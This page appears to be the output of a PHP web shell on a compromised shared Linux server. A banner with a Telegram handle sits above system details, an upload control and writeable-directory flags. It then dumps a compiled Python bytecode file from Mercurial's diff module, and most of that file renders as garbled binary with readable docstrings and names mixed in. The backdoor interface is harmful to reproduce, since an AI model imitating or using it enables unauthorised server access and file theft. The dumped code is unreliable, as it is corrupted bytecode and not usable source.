https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/__pycache__/mdiff.cpython-310.pyc
o

�]LbE�@s<ddlmZddlZddlZddlZddlmZddlmZm	Z	ddl
mZmZm
Z
mZmZmZddlmZe�d�Ze�d	�ZejZejZejZejZejZejZGd
d�de�Ze�Zd)d
d�Zdd�Zdd�Z dd�Z!d*dd�Z"d+dd�Z#efdd�Z$efdd�Z%dd�Z&dd �Z'd!d"�Z(d#d$�Z)d%d&�Z*d'd(�Z+dS),�)�absolute_importN�)�_)�getattr�setattr)�
diffhelper�encoding�error�policy�pycompat�util)�dateutil�bdiff�mpatchc@s�eZdZdZdZidd�dd�dd�dd�d	d�d
d�dd�dd
�dd�dd�dd�dd�dd�dd�dd�dd�Zdd�Zdd�ZdS)�diffoptsacontext is the number of context lines
    text treats all files as text
    showfunc enables diff -p output
    git enables the git extended patch format
    nodates removes dates from diff headers
    nobinary ignores binary files
    noprefix disables the 'a/' and 'b/' prefixes (ignored in plain mode)
    ignorews ignores all whitespace changes in the diff
    ignorewsamount ignores changes in the amount of whitespace
    ignoreblanklines ignores changes whose lines are all blank
    upgrade generates git diffs to avoid data loss
    Tscontext�stextFsshowfuncsgitsnodatessnobinarysnoprefixsindexrsignorewssignorewsamountsignorewseolsignoreblanklinessupgradesshowsimilaritysworddiffsxdiffc	Ks~t�|�}|j��D]}|�|�}|dur|j|}t|||�q
z	t|j�|_WdSty>t	�
td�t�|j���w)Ns3diff context lines count must be an integer, not %r)
r�byteskwargs�defaults�keys�getr�int�context�
ValueErrorr	�
InputErrorr�bytestr)�self�opts�k�v�r�1/usr/lib/python3/dist-packages/mercurial/mdiff.py�__init__Ls



���zdiffopts.__init__cs6�fdd��jD�}t�|�}|�|�tdi|��S)Ncsi|]}|t�|��qSr)r)�.0r�rrr �
<dictcomp>]�z!diffopts.copy.<locals>.<dictcomp>r)rr�	strkwargs�updater)r�kwargsrrr#r �copy\s

z
diffopts.copyN)�__name__�
__module__�__qualname__�__doc__�_HAS_DYNAMIC_ATTRIBUTESrr!r)rrrr r)sL
��������	�
���
����rTcCs\|jr
t�|d�}n	|jrt�|d�}|r"|jr"t�dd|��d�}|jr,t�dd|�}|S)Nrrs
+�
s[ \t\r\f]+\ns\n)	�ignorewsr�fixws�ignorewsamount�ignoreblanklines�re�sub�strip�ignorewseol)r�text�blankrrr �wscleanfs
r:c#s���fdd�|D�}�fdd�|D�}dt|�}}dt|�}}||ks)||kr�||d}	}
}|	|ksE||	dksE|
|ksE||
dkrxd}|	|kr_||	dkr_|	d7}	|	|kr_||	dksQ|
|krw||
dkrw|
d7}
|
|krw||
dksin(|	|kr�||	dkr�||
dkr�|	d7}	|
d7}
|	|kr�||	dkr�||
dks�||||	||||
g|fV|	}|
}||ks)||ks)dSdS)Nc�g|]}t�|�rdpd�qS�rr�r:�r"�l�rrr �
<listcomp>u�zsplitblock.<locals>.<listcomp>cr;r<r=r>r@rr rAvrBr�=�~r��len)�base1�lines1�base2�lines2r�s1�e1�s2�e2�i1�i2�btyperr@r �
splitblockrs0�(���  �"�rRcCs$|\}}|\}}|||ko||kS)a�Return True if `hunk` defined as (start, length) is in `linerange`
    defined as (lowerbound, upperbound).

    >>> hunkinrange((5, 10), (2, 7))
    True
    >>> hunkinrange((5, 10), (6, 12))
    True
    >>> hunkinrange((5, 10), (13, 17))
    True
    >>> hunkinrange((5, 10), (3, 17))
    True
    >>> hunkinrange((5, 10), (1, 3))
    False
    >>> hunkinrange((5, 10), (18, 20))
    False
    >>> hunkinrange((5, 10), (1, 5))
    False
    >>> hunkinrange((5, 10), (15, 27))
    False
    r)�hunk�	linerange�start�length�
lowerbound�
upperboundrrr �hunkinrange�srYc
Cs|\}}d\}}g}|D]c}|\\}}	}
}}||
kr/||kr/|dkr/||
|}||
|}n2|
|kr9|krHnn
|dkrF|	||}n|}|
|krR|krann
|dkr_|||
}n|	}t|
||
f|�ro|�|�q|dus||dus|||kr�t�td���|||ffS)a�filter `blocks` like (a1, a2, b1, b2) from items outside line range
    `rangeb` from ``(b1, b2)`` point of view.

    Return `filteredblocks, rangea` where:

    * `filteredblocks` is list of ``block = (a1, a2, b1, b2), stype`` items of
      `blocks` that are inside `rangeb` from ``(b1, b2)`` point of view; a
      block ``(b1, b2)`` being inside `rangeb` if
      ``rangeb[0] < b2 and b1 < rangeb[1]``;
    * `rangea` is the line range w.r.t. to ``(a1, a2)`` parts of `blocks`.
    )NNrCNsline range exceeds file size)rY�appendr	rr)
�blocks�rangeb�lbb�ubb�lba�uba�filteredblocks�block�a1�a2�b1�b2�styperrr �
blocksinrange�s,
�rhcCs&|dus
|jr
t�td�stjStjS)Nsxdiffblocks)�xdiffr�safehasattrrr[�xdiffblocksr@rrr �chooseblocksfunc�s�
�rlc	cs@�|durt}|js|js|jrt||d�}t||d�}t|�||�}t|�D]v\}}|dkr6||d}ngd�}|d|d|d|dg}|d|dksX|d|dkr�d}	|jr�|duret|�}|durmt|�}t|d	�	||d|d���}
t|d	�	||d|d���}|
|kr�d
}	||	fV|dfVq'dS)abReturn (block, type) tuples, where block is an mdiff.blocks
    line entry. type is '=' for blocks matching exactly one another
    (bdiff blocks), '!' for non-matching blocks and '~' for blocks
    matching only after having filtered blank lines.
    line1 and line2 are text1 and text2 split with splitnewlines() if
    they are already available.
    NFrr)rrrrr��!�rDrC)
�defaultoptsr0r2r7r:rl�	enumerater3�
splitnewlines�join)�text1�text2rrHrJ�diff�irK�s�type�old�newrrr �	allblocks�s4�   
�r|csfd�fdd�	}gdf}	|s|s|	S�jrd}
}nd}
d}t�d�}t�|�}t�|�}|rN|r@|r@t|�t|�kr@||kr@|	Sg}
dd	|gff}|
|fS|s�|�d
�}t|�}|dured||�}n
d|
||||�f}d
|||||�f}||g}
t|�}ddd|f}d|gdd�|D�}|r�|dd
7<|�t	j
�||ff}|
|fS|�s
|�d
�}t|�}d|
||||�f}|dur�d||�}n
d|||||�f}||g}
t|�}d|ddf}d|gdd�|D�}|�r|dd
7<|�t	j
�||ff}|
|fSt||�d�}t|��s|	Sd|
||||�fd|||||�fg}
|
|fS)a|Return a unified diff as a (headers, hunks) tuple.

    If the diff is not null, `headers` is a list with unified diff header
    lines "--- <original>" and "+++ <new>" and `hunks` is a generator yielding
    (hunkrange, hunklines) coming from _unidiff().
    Otherwise, `headers` and `hunks` are empty.

    Set binary=True if either a or b should be taken as a binary file.
    Ncs(�js
�js
d|S|rd|vrdSdS)Ns	%s� �	ro)�git�nodates)�date�fnr@rr �datetags
zunidiff.<locals>.datetagrrosa/sb/)rrsBinary file %s has changed
r/s--- /dev/null%ss
--- %s%s%ss+++ %s%srrs@@ -0,0 +1,%d @@
cS�g|]}d|�qS��+r�r"�errr rA4�zunidiff.<locals>.<listcomp>���s+++ /dev/null%ss
+++ %s%s%ss@@ -1,%d +0,0 @@
cSr���-rr�rrr rADr�r@�N)
�noprefixr
�datestrr�pconvertrF�endswithrrrZr�MISSING_NEWLINE_MARKER�_unidiff�next)�a�ad�b�bd�fn1�fn2�binaryrr��sentinel�aprefix�bprefix�epoch�headerlines�hunks�without_newline�l1�l2�size�	hunkrange�	hunklinesrr@r �unidiffsp



 +�
�
�
�r�c#s��t���t����fdd���fdd�}ddg��������fdd�}d	}d}d
}t������D]�\}}	|\}
}}}
|	dkrP|	dkrO||
|||
7}q3g}�|
|�}�||
�}||8}|
|8}
||
�}||�}d	}|r�||d
�jd
kr�|}|d
}|d}n|s�d}dV||�D]}|Vq�|r�||d
<|
|d<|d}n||||
|g}dd��||
�D�|t|�d	�<dd�|D�|t|�d	�<dd�|D�|t|�d	�<q3|r�|s�d}dV||�D]}|Vq�d	S|s�d
Vd	Sd	S)a�Yield hunks of a headerless unified diff from t1 and t2 texts.

    Each hunk consists of a (hunkrange, hunklines) tuple where `hunkrange` is a
    tuple (s1, l1, s2, l2) representing the range information of the hunk to
    form the '@@ -s1,l1 +s2,l2 @@' header and `hunklines` is a list of lines
    of the hunk combining said header followed by line additions and
    deletions.

    The hunks are prefixed with a bool.
    cs|�j}||kr|}|Sr��r)r?rF�retr@rr �
contextendd�
z_unidiff.<locals>.contextendcs|�j}|dkrdS|S�Nrr�)r?r�r@rr �contextstartjr�z_unidiff.<locals>.contextstartrroc3s�|\}}}}}�|t���}||}||||}d}	�jrY�\}
}	t�|d|
dd�D]%}�|dd���rTd�|��}	t�|	�rN|	dd�}	|	�d<nq/|�d<|r_|d7}|re|d7}||||f}d||	fg|�fdd	�t�||�D�}
d
}��d�s�||t��dkr�t�t|
�ddd�D]%}|
|�	d�r�|
|�	d�r�d
}|
|d7<|
�
|dtj�nq�|s���d�s�||t��dkr�t�t|
�ddd�D]}|
|�	d�r�|
|d7<|
�
|dtj�nq�||
fVdS)Nrorr�rr}�)s@@ -%d,%d +%d,%d @@%s
csg|]}d�|�qS�r}r�r"�x)r�rr rA�r%z/_unidiff.<locals>.yieldhunk.<locals>.<listcomp>Fr/)r�r}Tr�)
rF�showfuncr�xrange�isalnum�rstripr�
isasciistrr��
startswith�insertrr�)rS�astartrd�bstartrf�delta�aend�alen�blen�func�lastposrwr�r��skip�r�r�r��lastfuncr�t1�t2rr �	yieldhunkrs\�
����
�"�z_unidiff.<locals>.yieldhunkNFrnrDrrT�cSr�r�rr�rrr rA�r�z_unidiff.<locals>.<listcomp>cSr�r�rr�rrr rA�r�cSr�r�rr�rrr rA�r�)rrr|rrF)r�r�rr�r�rS�ignoredlines�	has_hunksrxrgrcrdrerfr�rzr{r�r��prevr�rr�r r�Vsh�@

"�
�r�cCs�dd�}ddd�}|durd}|durd}||krdSg}|�d�|�d	t|��|t�|��D]	}|�||��q2|�d
�d�|�S)z print base85-encoded binary diffcSsVt|�}|dkrt�td�|d�}n
t�|dtd�d�}d|t�|d�fS)N��Ar�as%c%s
T)rFr�bytechr�ordr�	b85encode)�liner?rrr �fmtline�s
zb85diff.<locals>.fmtline�4css@�t|�}d}||kr||||�V||7}||ksdSdSr�rE)r8�csizer?rwrrr �chunk�s��zb85diff.<locals>.chunkNrosGIT binary patch
sliteral %d
r/)r�)rZrF�zlib�compressrs)�to�tnr�r�r�r?rrr �b85diff�s



r�cCsnd}g}|t|�kr2t�d|||d��\}}}|d7}|�||||��||7}|t|�ks
d�|�S)Nr�>lll�ro)rF�struct�unpackrZrs)�bin�pos�t�p1�p2r?rrr �	patchtexts�
r�cCs&t|�dkrt�|d�St�||g�S)Nrr�)rFr�bufferr�patches)r�r�rrr �patchsr�cCsdd�t�||�D�S)NcSs*g|]}|d|d|d|df�qS)rrmrr)r"�drrr rA$s*z'get_matching_blocks.<locals>.<listcomp>)rr[)r�r�rrr �get_matching_blocks#sr�cCs|r
t�ddd|�SdS)Nr�rro�r��pack)rVrrr �trivialdiffheader'sr�cCst�dd||�S)Nr�rr�)�oldlen�newlenrrr �replacediffheader+sr�)Tr�)NNN),�
__future__rr4r�r��i18nrrrr�rrr	r
r�utilsr
�	importmodrrr[r1r��patchedsize�textdiffrr�objectrrpr:rRrYrhrlr|r�r�r�r�r�r�r�r�rrrr �<module>sB 

:

(
*S%

https://t.me/RX1948 - 2025